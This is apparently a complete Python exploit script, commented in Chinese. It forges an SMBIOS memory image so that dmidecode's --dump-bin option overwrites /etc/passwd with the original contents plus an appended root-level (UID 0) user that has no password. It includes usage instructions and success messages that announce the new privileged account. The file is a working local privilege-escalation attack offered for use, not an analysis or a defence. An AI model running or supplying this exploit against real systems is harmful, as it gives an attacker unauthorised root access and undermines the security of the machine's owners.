#!/usr/bin/env python3 """mkpasswd.py — 构造伪造 SMBIOS 内存镜像,配合 dmidecode --dump-bin 覆写 /etc/passwd 原理: dmidecode --no-sysfs -d --dump-bin 会将 DMI 表与 SMBIOS 入口点以二进制写入目标文件: [DMI 结构表体 (包含自定义 string)][SMBIOS 入口点 (31 字节)] 由于 /etc/passwd 容忍非结构化首行垃圾,我们在自定义 DMI Structure (Type 126) 的 String Area 中填充原始 passwd 内容 + 追加的 UID 0 空密码用户,从而实现无损提权。 用法: python3 mkpasswd.py <原始 passwd 文件路径> <输出内存镜像路径> [新用户名,默认 pwn] 示例: python3 mkpasswd.py /etc/passwd fakemem_pw.bin pwn """ import sys def build_fake_smbios(orig_passwd_path: str, output_path: str, username: str = "pwn") -> None: with open(orig_passwd_path, "rb") as f: orig_data = f.read() if not orig_data.endswith(b"\n"): orig_data += b"\n" # 前导换行隔离首行二进制垃圾,末尾追加 UID 0 空密码用户 payload = b"\n" + orig_data + f"{username}::0:0:{username}:/root:/bin/bash\n".encode("utf-8") # 构造 DMI 结构表:Type 126 自定义结构包含 payload,Type 127 终止结构 table = bytes([126, 4, 0x00, 0x00]) + payload + b"\x00\x00" table += bytes([127, 4, 0xFE, 0xFF]) + b"\x00\x00" tbl_len = len(table) if tbl_len > 65535: raise ValueError(f"DMI 表过大 ({tbl_len} 字节),超过 64KB 限制") # 构造 31 字节 32 位 SMBIOS 入口点 ep = bytearray(31) ep[0:4] = b"_SM_" ep[5] = 31 # Entry Point 长度 ep[6] = 2 # Major Version ep[7] = 5 # Minor Version ep[8] = 0x24 # Max Structure Size ep[9] = 0x00 # Entry Point Revision ep[0x0A] = 0 # Formatted Area ep[0x10:0x15] = b"_DMI_" TBL_ADDR = 0x0FE000 ep[0x16] = tbl_len & 0xFF ep[0x17] = (tbl_len >> 8) & 0xFF for i in range(4): ep[0x18 + i] = (TBL_ADDR >> (8 * i)) & 0xFF ep[0x1C] = 2 # 结构数量 (Type 126 + Type 127) ep[0x1D] = 0 ep[0x1E] = 0x25 # BCD 修订版 2.5 # 校验和计算 ep[0x15] = (-sum(ep[0x10:0x1F])) & 0xFF # Intermediate Checksum ep[0x04] = (-sum(ep[0x00:0x1F])) & 0xFF # Anchor String Checksum # 构建 1 MiB 内存镜像 img = bytearray(0x100000) img[TBL_ADDR : TBL_ADDR + tbl_len] = table img[0xF0000 : 0xF0000 + 31] = ep with open(output_path, "wb") as f: f.write(img) print(f"[+] 成功生成伪造内存镜像: {output_path}") print(f" - DMI 表长度: {tbl_len} 字节 (包含 Payload: {len(payload)} 字节)") print(f" - 新增特权用户: {username} (UID=0, GID=0, 无密码)") if __name__ == "__main__": if len(sys.argv) < 3: print(f"用法: {sys.argv[0]} <原始 passwd 路径> <输出镜像路径> [新用户名]") sys.exit(1) uname = sys.argv[3] if len(sys.argv) > 3 else "pwn" build_fake_smbios(sys.argv[1], sys.argv[2], uname)